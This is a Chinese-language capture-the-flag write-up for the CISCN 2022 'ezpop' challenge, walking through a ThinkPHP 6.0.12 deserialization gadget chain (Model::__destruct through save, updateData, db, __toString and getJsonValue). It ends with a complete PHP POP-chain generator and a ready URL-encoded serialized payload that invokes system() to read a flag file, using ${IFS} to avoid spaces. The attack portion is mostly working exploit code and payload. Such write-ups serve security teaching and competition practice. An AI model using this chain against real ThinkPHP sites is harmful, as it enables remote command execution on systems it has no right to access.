[CISCN 2022 初赛]ezpop

ThinkPHP V6.0.12LTS 反序列化漏洞

dirsearch扫描发现源码泄露

在www/vendor/topthink/think-orm下,有__destruct入口

接下来跟进save方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function save(array $data = [], string $sequence = null): bool
{
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}//需要绕过这个条件

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
//让this->exists为真,触发updateData
if (false === $result) {
return false;
}

$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;

return true;
}

第一个条件:需要isEmpty()为假,跟进isEmpty方法

public function isEmpty(): bool

{

​ return empty($this->data);

}

$this->data存在且不为空时时,empty()的值为false,isEmpty返回false

这时就满足了第一个条件

第二个条件:$this->trigger(‘BeforeWrite’)不为假,跟进trigger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

$call = 'on' . Str::studly($event);

try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}

return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}
}

需要让this->withEvent为false,

在save()中三目运算符让$this->exists触发updateData

跟进updateData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}

foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}

// 模型更新
$db = $this->db();

$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();

$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);

$this->checkResult($result);

// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});

// 更新回调
$this->trigger('AfterUpdate');

return true;
}

需要传入不为空的data,之后进入$allowFields = $this->checkAllowFields();

由于data是由getChangedData写入,跟进getChangedData,在src/model/concern/Attribute.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}

return $data;
}

最终$data为非空值,进入$allowFields = $this->checkAllowFields();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

$field = $this->field;

if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}

if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}

return $field;
}

$this->schema空,执行else语句,查看db()函数

1
2
3
4
5
6
7
8
9
10
11
12
public function db($scope = []): Query
{
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

}

实现了table和suffix的拼接,寻找__toString方法

www/vendor/topthink/think-orm/src/model/concern/Conversion.php中存在,调用了toJson(),tojson就在toString上面

1
2
3
4
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

toArray:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}

if (isset($this->mapping[$key])) {
// 检查字段映射
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}

// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}

return $item;
}

调用了getAttr

1
2
3
4
5
6
7
8
9
10
11
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);

跟进getvalue并跟进getJsonValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getJsonValue($name, $value)
{
if (is_null($value)) {
return $value;
}

foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}

return $value;
}

让jsonAssoc为1,之后进行RCE利用

利用链Model::__destuct()->Model::save()->Model::updateData()->Model::checkAllowFields()->Model::db()->toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

namespace think {
abstract class Model {
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;

public function __construct($obj = '') {
$this->lazySave = true;
$this->data = ['whoami' => ['cat${IFS}$9/nssctfflag']];
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}

namespace think\model {
use think\Model;
class Pivot extends Model {
}
}

namespace {
$p = new think\model\Pivot(new think\model\Pivot());
echo urlencode(serialize($p)) . "\n";
}

payload:url/index/test

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A22%3A%22cat%24%7BIFS%7D%249%2Fnssctfflag%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A22%3A%22cat%24%7BIFS%7D%249%2Fnssctfflag%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

注意空格绕过